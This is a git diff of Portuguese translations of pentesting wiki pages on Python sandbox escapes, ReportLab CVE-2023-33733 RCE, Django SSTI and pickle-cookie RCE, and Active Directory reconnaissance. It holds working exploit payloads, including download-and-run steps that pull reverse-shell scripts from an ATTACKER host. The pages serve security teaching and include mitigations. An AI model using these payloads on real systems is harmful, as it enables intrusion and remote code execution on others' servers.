-> No exemplo a seguir, vamos obter todos os dados necessários para recriar a função diretamente a partir do objeto de código da função. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** são o que **você precisará leak**.
+> No exemplo a seguir, vamos extrair todos os dados necessários para recriar a função diretamente a partir do function code object. Em um **exemplo real**, todos os **valores** para executar a função **`code_type`** são o que **você precisará leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -991,10 +990,10 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 #ThisIsTheFlag
 ```
-### Bypass Defenses
+### Contornar Defesas

-Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo mais em uma **one liner** (e poderíamos fazer o mesmo usando **`exec`**).\
-De qualquer forma, às vezes pode ser útil **criar** um **compiled object** em uma máquina local e executá-lo na **CTF machine** (por exemplo porque não temos a `compiled` function no CTF).
+Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isto é interessante porque você pode **executar scripts inteiros** com loops e tudo mais em uma **one liner** (e poderíamos fazer o mesmo usando **`exec`**).\
+De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **CTF machine** (por exemplo porque não temos a função `compiled` no CTF).

 Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_:
 ```python
@ -1023,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
 codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
 function_type(codeobj, mydict, None, None, None)()
 ```
-Se você não conseguir acessar `eval` ou `exec`, pode criar uma **função adequada**, mas chamá-la diretamente geralmente vai falhar com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
+Se você não puder acessar `eval` ou `exec` você poderia criar uma **função adequada**, mas chamá-la diretamente geralmente vai falhar com: _constructor not accessible in restricted mode_. Portanto, você precisa de uma **função fora do ambiente restrito para chamar essa função.**
 ```python
 #Compile a regular print
 ftype = type(lambda: None)
@ -1033,7 +1032,7 @@ f(42)
 ```
 ## Descompilando Python Compilado

-Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **descompilar** given compiled python code.
+Usando ferramentas como [**https://www.decompiler.com/**](https://www.decompiler.com) é possível **descompilar** código Python compilado.

 **Confira este tutorial**:

@ -1042,11 +1041,11 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o
 ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
 {{#endref}}

-## Outros tópicos Python
+## Diversos (Python)

 ### Assert

-Python executado com otimizações usando o parâmetro `-O` removerá instruções `assert` e qualquer código condicionado ao valor de **debug**.\
+Python executado com otimizações usando o parâmetro `-O` removerá declarações assert e qualquer código condicional ao valor de **debug**.\
 Portanto, verificações como
 ```python
 def check_permission(super_user):
@ -1056,7 +1055,7 @@ print("\nYou are a super user\n")
 except AssertionError:
 print(f"\nNot a Super User!!!\n")
 ```
-será bypassed
+will be bypassed

 ## Referências

--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -1,53 +1,53 @@
-# ReportLab/xhtml2pdf [[[...]]] avaliação de expressões RCE (CVE-2023-33733)
+# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

 {{#include ../../../banners/hacktricks-training.md}}

-Esta página documenta um escape prático de sandbox e um primitivo de RCE em rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário para PDFs.
+Esta página documenta um escape prático de sandbox e um primitivo de RCE em rl_safe_eval do ReportLab usado por xhtml2pdf e outros pipelines de geração de PDF ao renderizar HTML controlado pelo usuário em PDFs.

-CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributos (por exemplo color), valores embrulhados em triple brackets [[[ ... ]]] são avaliados no servidor por rl_safe_eval. Ao criar um payload que pivota de um builtin permitido (pow) para seus __globals__ de função Python, um atacante pode alcançar o módulo os e executar comandos.
+CVE-2023-33733 afeta versões do ReportLab até e incluindo 3.6.12. Em certos contextos de atributo (por exemplo color), valores envoltos em triple brackets [[[ ... ]]] são avaliados no servidor por rl_safe_eval. Ao construir um payload que pivota de um builtin permitido (pow) para os __globals__ da sua função Python, um atacante pode alcançar o módulo os e executar comandos.

-Pontos chave
- Trigger: injetar [[[ ... ]]] em atributos avaliados como <font color="..."> dentro de marcação processada por ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval substitui builtins perigosos, mas funções avaliadas ainda expõem __globals__.
- Bypass: criar uma classe transitória Word para burlar as checagens de nome do rl_safe_eval e acessar a string "__globals__" enquanto evita o filtro de dunders bloqueados.
+Pontos-chave
+- Gatilho: injete [[[ ... ]]] em atributos avaliados como <font color="..."> dentro de marcação parseada pelo ReportLab/xhtml2pdf.
+- Sandbox: rl_safe_eval substitui builtins perigosos mas funções avaliadas ainda expõem __globals__.
+- Bypass: crie uma classe transitória Word para contornar as verificações de nome do rl_safe_eval e acessar a string "__globals__" enquanto evita o filtro de dunder bloqueado.
 - RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Estabilidade: Retornar um valor válido para o atributo após a execução (para color, usar and 'red').
+- Estabilidade: retorne um valor válido para o atributo após a execução (para color, use and 'red').

 Quando testar
- Aplicações que expõem exportação HTML-to-PDF (profiles, invoices, reports) e mostram xhtml2pdf/ReportLab nos metadados do PDF ou em comentários na resposta HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- A resposta HTTP para PDF frequentemente começa com um comentário do gerador ReportLab
+- Aplicações que expõem a exportação HTML-to-PDF (perfis, faturas, relatórios) e que mostram xhtml2pdf/ReportLab em metadados do PDF ou comentários na resposta HTTP.
+- exiftool profile.pdf | egrep 'Producer|Title|Creator' → produtor "xhtml2pdf"
+- A resposta HTTP para o PDF frequentemente começa com um comentário do gerador ReportLab

 Como o bypass da sandbox funciona
- rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, ...) e aplica filtragem de nomes para negar atributos que começam com __ ou que estejam em uma denylist.
- Entretanto, funções seguras vivem em um dicionário globals acessível como func.__globals__.
- Use type(type(1)) para recuperar a função builtin real type (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de modo que:
-  - .startswith('__') → sempre False (contorna a checagem name startswith('__'))
-  - .__eq__ retorna False apenas na primeira comparação (contorna checagens de membership na denylist) e True depois (assim getattr funciona)
-  - .__hash__ é igual a hash(str(self))
- Com isso, getattr(pow, Word('__globals__')) retorna o dict globals da função pow empacotada, que inclui um módulo os importado. Então: ['os'].system('<cmd>').
+- rl_safe_eval remove ou substitui muitos builtins (getattr, type, pow, ...) e aplica filtragem de nomes para negar atributos que começam com __ ou que estão numa denylist.
+- No entanto, funções "seguras" existem em um dicionário globals acessível como func.__globals__.
+- Use type(type(1)) para recuperar a função builtin type real (contornando o wrapper do ReportLab), então defina uma classe Word derivada de str com comportamento de comparação mutado de modo que:
+- .startswith('__') → sempre False (contorna a verificação startswith('__'))
+- .__eq__ retorna False apenas na primeira comparação (contorna as verificações de membership da denylist) e True depois (para que getattr do Python funcione)
+- .__hash__ igual a hash(str(self))
+- Com isso, getattr(pow, Word('__globals__')) retorna o dict globals da função empacotada pow, que inclui um módulo os importado. Então: ['os'].system('<cmd>').

 Padrão mínimo de exploração (exemplo em atributo)
-Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor válido para o atributo via boolean and 'red'.
+Coloque o payload dentro de um atributo avaliado e assegure que ele retorne um valor de atributo válido via boolean e 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

 - A forma por list-comprehension permite uma única expressão aceitável para rl_safe_eval.
- O trailing and 'red' retorna uma cor CSS válida para que a renderização não quebre.
+- O sufixo and 'red' retorna uma cor CSS válida para que a renderização não quebre.
 - Substitua o comando conforme necessário; use ping para validar a execução com tcpdump.

 Fluxo operacional
 1) Identificar o gerador de PDF
- PDF Producer mostra xhtml2pdf; a resposta HTTP contém comentário do ReportLab.
-2) Encontrar uma entrada refletida no PDF (por ex., profile bio/description) e acionar um export.
-3) Verificar execução com ICMP de baixo ruído
- Rode: sudo tcpdump -ni <iface> icmp
+- O Producer do PDF mostra xhtml2pdf; a resposta HTTP contém um comentário do ReportLab.
+2) Encontre uma entrada refletida no PDF (ex.: profile bio/description) e dispare uma exportação.
+3) Verifique a execução com ICMP de baixo ruído
+- Run: sudo tcpdump -ni <iface> icmp
 - Payload: ... system('ping <your_ip>') ...
- Windows frequentemente envia exatamente quatro echo requests por padrão.
-4) Estabelecer um shell
- Para Windows, uma abordagem de dois estágios confiável evita problemas de quoting/encoding:
+- O Windows frequentemente envia exatamente quatro solicitações de echo por padrão.
+4) Estabelecer uma shell
+- Para Windows, uma abordagem confiável em duas etapas evita problemas de quoting/encoding:
 - Stage 1 (download):

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
@ -56,24 +56,24 @@ Fluxo operacional

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Para alvos Linux, abordagem similar em dois estágios com curl/wget é possível:
+- Para targets Linux, é possível um fluxo em duas etapas similar com curl/wget:
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Notas e dicas
- Contextos de atributo: color é um atributo conhecido por ser avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se uma localização for sanitizada, tente outras que sejam renderizadas no fluxo do PDF (campos diferentes, estilos de tabela, etc.).
- Quoting: Mantenha comandos compactos. Downloads em dois estágios reduzem drasticamente problemas com quoting e escaping.
- Confiabilidade: Se exports forem cacheados ou enfileirados, varie ligeiramente o payload (por ex., caminho ou query randômica) para evitar caches.
+- Contextos de atributos: color é um atributo conhecido que é avaliado; outros atributos na marcação do ReportLab também podem avaliar expressões. Se um local for sanitizado, tente outros renderizados no fluxo do PDF (diferentes campos, estilos de tabela, etc.).
+- Quoting: mantenha comandos compactos. Downloads em duas etapas reduzem drasticamente problemas de quoting e escaping.
+- Confiabilidade: Se exports forem cacheados ou enfileirados, varie levemente o payload (ex.: caminho ou query aleatória) para evitar caches.

 Mitigações e detecção
- Atualize o ReportLab para 3.6.13 ou superior (CVE-2023-33733 corrigido). Acompanhe também advisories de segurança em pacotes das distros.
- Não alimente HTML/markup controlado pelo usuário diretamente no xhtml2pdf/ReportLab sem sanitização rígida. Remova/negue constructs de avaliação [[[...]]] e tags específicas do vendor quando a entrada for não confiável.
- Considere desabilitar ou encapsular totalmente o uso de rl_safe_eval para inputs não confiáveis.
- Monitore por conexões outbound suspeitas durante a geração de PDFs (por ex., ICMP/HTTP a partir de servidores de aplicação ao exportar documentos).
+- Atualize o ReportLab para 3.6.13 ou posterior (CVE-2023-33733 corrigido). Acompanhe advisories de segurança em pacotes da distro também.
+- Não alimente HTML/markup controlado pelo usuário diretamente no xhtml2pdf/ReportLab sem uma sanitização rigorosa. Remova/negue as construções de avaliação [[[...]]] e tags específicas do vendor quando a entrada for não confiável.
+- Considere desabilitar ou envolver (wrap) o uso de rl_safe_eval inteiramente para entradas não confiáveis.
+- Monitore por conexões outbound suspeitas durante a geração de PDFs (ex.: ICMP/HTTP a partir de servidores de aplicação ao exportar documentos).

-References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
+Referências
+- PoC e análise técnica: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
+- 0xdf University HTB write-up (exploração no mundo real, payloads Windows em duas etapas): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
+- Entrada NVD (versões afetadas): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
 - xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -3,42 +3,42 @@
 {{#include ../../banners/hacktricks-training.md}}

 ## Cache Manipulation to RCE
-O método padrão de armazenamento em cache do Django é [Python pickles](https://docs.python.org/3/library/pickle.html), o que pode levar a RCE se [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se um atacante conseguir acesso de escrita ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente**.
+Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.

-O cache do Django é armazenado em um de quatro locais: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou em um database é o vetor de ataque mais provável (Redis injection e SQL injection), mas um atacante também pode ser capaz de usar cache baseado em arquivos para transformar uma escrita arbitrária em RCE. Os mantenedores marcaram isso como não-problema. É importante notar que a pasta dos arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão conforme a implementação.
+Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.

 This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436

 ---

 ## Server-Side Template Injection (SSTI)
-A Django Template Language (DTL) é **Turing-complete**. Se dados fornecidos pelo usuário forem renderizados como uma *template string* (por exemplo ao chamar `Template(user_input).render()` ou quando `|safe`/`format_html()` remove o auto-escaping), um atacante pode alcançar SSTI → RCE completo.
+The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.

-### Detecção
-1. Procure por chamadas dinâmicas para `Template()` / `Engine.from_string()` / `render_to_string()` que incluam *qualquer* dado de requisição não sanitizado.
-2. Envie um payload baseado em tempo ou aritmético:
+### Detection
+1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data.
+2. Send a time-based or arithmetic payload:
 ```django
 {{7*7}}
 ```
-Se a saída renderizada contiver `49`, o input é compilado pelo engine de templates.
+If the rendered output contains `49` the input is compiled by the template engine.

-### Primitivo para RCE
-O Django bloqueia acesso direto a `__import__`, mas o grafo de objetos do Python é alcançável:
+### Primitive to RCE
+Django blocks direct access to `__import__`, but the Python object graph is reachable:
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
-Encontre o índice de `subprocess.Popen` (≈400–500 dependendo da build do Python) e execute comandos arbitrários:
+Encontre o índice de `subprocess.Popen` (≈400–500 dependendo da compilação do Python) e execute comandos arbitrários:
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
 Um gadget universal mais seguro é iterar até `cls.__name__ == 'Popen'`.

-O mesmo gadget funciona em recursos de renderização de templates do **Debug Toolbar** ou **Django-CMS** que lidam incorretamente com a entrada do usuário.
+O mesmo gadget funciona para recursos de renderização de templates do **Debug Toolbar** ou **Django-CMS** que manipulam incorretamente a entrada do usuário.

 ---

-### Veja também: ReportLab/xhtml2pdf PDF export RCE
-Aplicações construídas sobre Django frequentemente integram xhtml2pdf/ReportLab para exportar views como PDF. Quando HTML controlado pelo usuário flui para a geração de PDF, rl_safe_eval pode avaliar expressões dentro de colchetes triplos `[[[ ... ]]]`, permitindo execução de código (CVE-2023-33733). Detalhes, payloads e mitigações:
+### Veja também: ReportLab/xhtml2pdf RCE na exportação para PDF
+Aplicações construídas em Django comumente integram xhtml2pdf/ReportLab para exportar views como PDF. Quando HTML controlado pelo usuário chega à geração de PDF, rl_safe_eval pode avaliar expressões dentro de colchetes triplos `[[[ ... ]]]`, possibilitando execução de código (CVE-2023-33733). Detalhes, payloads, e mitigations:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -46,14 +46,14 @@ Aplicações construídas sobre Django frequentemente integram xhtml2pdf/ReportL

 ---

-## RCE em Cookie de Sessão baseado em Pickle
-Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver ativada (ou um serializer customizado que desserializa pickle), Django *descriptografa e desserializa (unpickles)* o cookie de sessão **antes** de chamar qualquer código de view. Portanto, possuir uma chave de assinatura válida (o `SECRET_KEY` do projeto por padrão) é suficiente para execução remota de código imediata.
+## RCE em cookie de sessão baseado em Pickle
+Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver ativada (ou um serializer customizado que desserializa pickle), o Django *descriptografa e desserializa (unpickles)* o cookie de sessão **antes** de chamar qualquer código de view. Portanto, possuir uma chave de assinatura válida (o projeto `SECRET_KEY` por padrão) é suficiente para execução remota de código imediata.

 ### Requisitos do Exploit
 * O servidor usa `PickleSerializer`.
 * O atacante conhece / pode adivinhar `settings.SECRET_KEY` (leaks via GitHub, `.env`, páginas de erro, etc.).

-### Prova de conceito
+### Proof-of-Concept
 ```python
 #!/usr/bin/env python3
 from django.contrib.sessions.serializers import PickleSerializer
@ -67,23 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
 print(f"sessionid={mal}")
 ```
-Envie o cookie resultante, e o payload será executado com as permissões do worker WSGI.
+Envie o cookie resultante, e o payload é executado com as permissões do worker WSGI.

-**Mitigações**: Mantenha o `JSONSerializer` padrão, rotacione o `SECRET_KEY` e configure `SESSION_COOKIE_HTTPONLY`.
+**Mitigações**: Mantenha o `JSONSerializer` padrão, rotacione `SECRET_KEY`, e configure `SESSION_COOKIE_HTTPONLY`.

 ---

-## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (corrigido em 4 de junho de 2025). Permite que atacantes contrabandeiem quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de logs a jusante. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
-* **CVE-2024-42005** – *Critical SQL injection* em `QuerySet.values()/values_list()` em `JSONField` (CVSS 9.8). Crie chaves JSON para sair da citação e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.
+## CVEs do Django de alto impacto recentes (2023–2025) que Pentesters devem verificar
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (corrigido em 4 de junho de 2025). Permite que atacantes contrabandeiem quebras de linha/códigos ANSI para arquivos de log e contaminem a análise de logs a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* em `QuerySet.values()/values_list()` em `JSONField` (CVSS 9.8). Crie chaves JSON para escapar das aspas e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.

-Sempre identifique a versão exata do framework via a página de erro `X-Frame-Options` ou o hash de `/static/admin/css/base.css` e teste o acima quando aplicável.
+Sempre identifique a versão exata do framework via a página de erro `X-Frame-Options` ou o hash de `/static/admin/css/base.css` e teste o acima onde aplicável.

 ---

-## References
-* Lançamento de segurança do Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
-* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
+## Referências
+* Comunicado de segurança do Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 de junho de 2025.
+* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 de agosto de 2024.
 * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -4,64 +4,64 @@

 ## Visão geral básica

-**Active Directory** serve como uma tecnologia fundamental, permitindo que **administradores de rede** criem e gerenciem de forma eficiente **domínios**, **usuários** e **objetos** dentro de uma rede. Foi projetado para escalar, facilitando a organização de um grande número de usuários em **grupos** e **subgrupos** gerenciáveis, enquanto controla **direitos de acesso** em vários níveis.
+**Active Directory** serve como uma tecnologia fundamental, permitindo que **administradores de rede** criem e gerenciem de forma eficiente **domínios**, **usuários** e **objetos** dentro de uma rede. Ele é projetado para escalar, facilitando a organização de um grande número de usuários em **grupos** e **subgrupos** gerenciáveis, ao mesmo tempo que controla **direitos de acesso** em vários níveis.

-A estrutura do **Active Directory** é composta por três camadas principais: **domínios**, **árvores** e **florestas**. Um **domínio** abrange uma coleção de objetos, como **usuários** ou **dispositivos**, compartilhando um banco de dados comum. **Árvores** são grupos desses domínios vinculados por uma estrutura compartilhada, e uma **floresta** representa a coleção de múltiplas árvores, interconectadas por **relações de confiança**, formando a camada superior da estrutura organizacional. Direitos específicos de **acesso** e **comunicação** podem ser designados em cada um desses níveis.
+A estrutura do **Active Directory** é composta por três camadas principais: **domínios**, **trees**, e **forests**. Um **domain** abrange uma coleção de objetos, como **usuários** ou **dispositivos**, compartilhando um banco de dados comum. **Trees** são grupos desses domínios ligados por uma estrutura compartilhada, e uma **forest** representa a coleção de múltiplas trees, interconectadas através de **trust relationships**, formando a camada superior da estrutura organizacional. Direitos específicos de **acesso** e **comunicação** podem ser designados em cada um desses níveis.

-Conceitos chave dentro do **Active Directory** incluem:
+Conceitos-chave dentro do **Active Directory** incluem:

-1. **Diretório** – Armazena todas as informações referentes aos objetos do Active Directory.
-2. **Objeto** – Denota entidades dentro do diretório, incluindo **usuários**, **grupos**, ou **pastas compartilhadas**.
-3. **Domínio** – Serve como um contêiner para objetos do diretório, com a capacidade de múltiplos domínios coexistirem dentro de uma **floresta**, cada um mantendo sua própria coleção de objetos.
-4. **Árvore** – Um agrupamento de domínios que compartilham um domínio raiz comum.
-5. **Floresta** – O nível máximo da estrutura organizacional no Active Directory, composto por várias árvores com **relações de confiança** entre elas.
+1. **Directory** – Abriga todas as informações referentes aos objetos do Active Directory.
+2. **Object** – Denota entidades dentro do diretório, incluindo **usuários**, **grupos**, ou **pastas compartilhadas**.
+3. **Domain** – Serve como um contêiner para objetos do diretório, com a capacidade de múltiplos domains coexistirem dentro de uma **forest**, cada um mantendo sua própria coleção de objetos.
+4. **Tree** – Um agrupamento de domains que compartilham um domain root comum.
+5. **Forest** – O pico da estrutura organizacional no Active Directory, composto por várias trees com **trust relationships** entre elas.

-**Active Directory Domain Services (AD DS)** engloba uma série de serviços críticos para o gerenciamento centralizado e comunicação dentro de uma rede. Esses serviços compreendem:
+**Active Directory Domain Services (AD DS)** abrange uma gama de serviços críticos para o gerenciamento centralizado e comunicação dentro de uma rede. Esses serviços compreendem:

-1. **Domain Services** – Centraliza o armazenamento de dados e gerencia as interações entre **usuários** e **domínios**, incluindo **autenticação** e funcionalidades de **busca**.
+1. **Domain Services** – Centraliza o armazenamento de dados e gerencia interações entre **usuários** e **domínios**, incluindo **autenticação** e funcionalidades de **busca**.
 2. **Certificate Services** – Supervisiona a criação, distribuição e gerenciamento de **certificados digitais** seguros.
 3. **Lightweight Directory Services** – Suporta aplicações habilitadas para diretório através do **LDAP protocol**.
-4. **Directory Federation Services** – Fornece capacidades de **single-sign-on** para autenticar usuários em múltiplas aplicações web em uma única sessão.
-5. **Rights Management** – Auxilia na proteção de material com direitos autorais regulando sua distribuição e uso não autorizados.
+4. **Directory Federation Services** – Fornece capacidades de **single-sign-on** para autenticar usuários através de múltiplas aplicações web em uma única sessão.
+5. **Rights Management** – Auxilia na proteção de material com direitos autorais regulando sua distribuição e uso não autorizado.
 6. **DNS Service** – Crucial para a resolução de **nomes de domínio**.

 For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

 ### **Kerberos Authentication**

-Para aprender como **atacar um AD** você precisa **entender** muito bem o processo de **autenticação Kerberos**.\
+To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
 [**Read this page if you still don't know how it works.**](kerberos-authentication.md)

 ## Cheat Sheet

-Você pode acessar [https://wadcoms.github.io/](https://wadcoms.github.io) para ter uma visão rápida de quais comandos pode executar para enumerar/explorar um AD.
+You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.

 > [!WARNING]
-> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
+> A comunicação Kerberos **requer um nome totalmente qualificado (FQDN)** para executar ações. Se você tentar acessar uma máquina pelo endereço IP, **vai usar NTLM e não kerberos**.

-## Recon Active Directory (Sem credenciais/sessões)
+## Recon Active Directory (Sem creds/sessions)

-Se você tem apenas acesso ao ambiente do AD mas não possui credenciais/sessões, você pode:
+Se você tem apenas acesso a um ambiente AD mas não possui credenciais/sessões, você poderia:

 - **Pentest the network:**
-  - Faça scan da rede, encontre máquinas e portas abertas e tente **explorar vulnerabilidades** ou **extrair credenciais** delas (por exemplo, [printers could be very interesting targets](ad-information-in-printers.md)).
-  - A enumeração de DNS pode fornecer informações sobre servidores chave no domínio como web, printers, shares, vpn, media, etc.
-  - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
-  - Consulte a página geral [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) para mais informações sobre como fazer isso.
- **Check for null and Guest access on smb services** (isso não funcionará em versões modernas do Windows):
-  - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
-  - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
-  - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
-  - Um guia mais detalhado sobre como enumerar um servidor SMB pode ser encontrado aqui:
+- Escanear a rede, encontrar máquinas e portas abertas e tentar **explorar vulnerabilidades** ou **extrair credenciais** delas (por exemplo, [printers could be very interesting targets](ad-information-in-printers.md)).
+- Enumerar DNS pode fornecer informações sobre servidores-chave no domínio como web, printers, shares, vpn, media, etc.
+- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
+- Dê uma olhada na [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) geral para encontrar mais informações sobre como fazer isso.
+- **Verificar acesso null e Guest em serviços smb** (isso não funcionará em versões modernas do Windows):
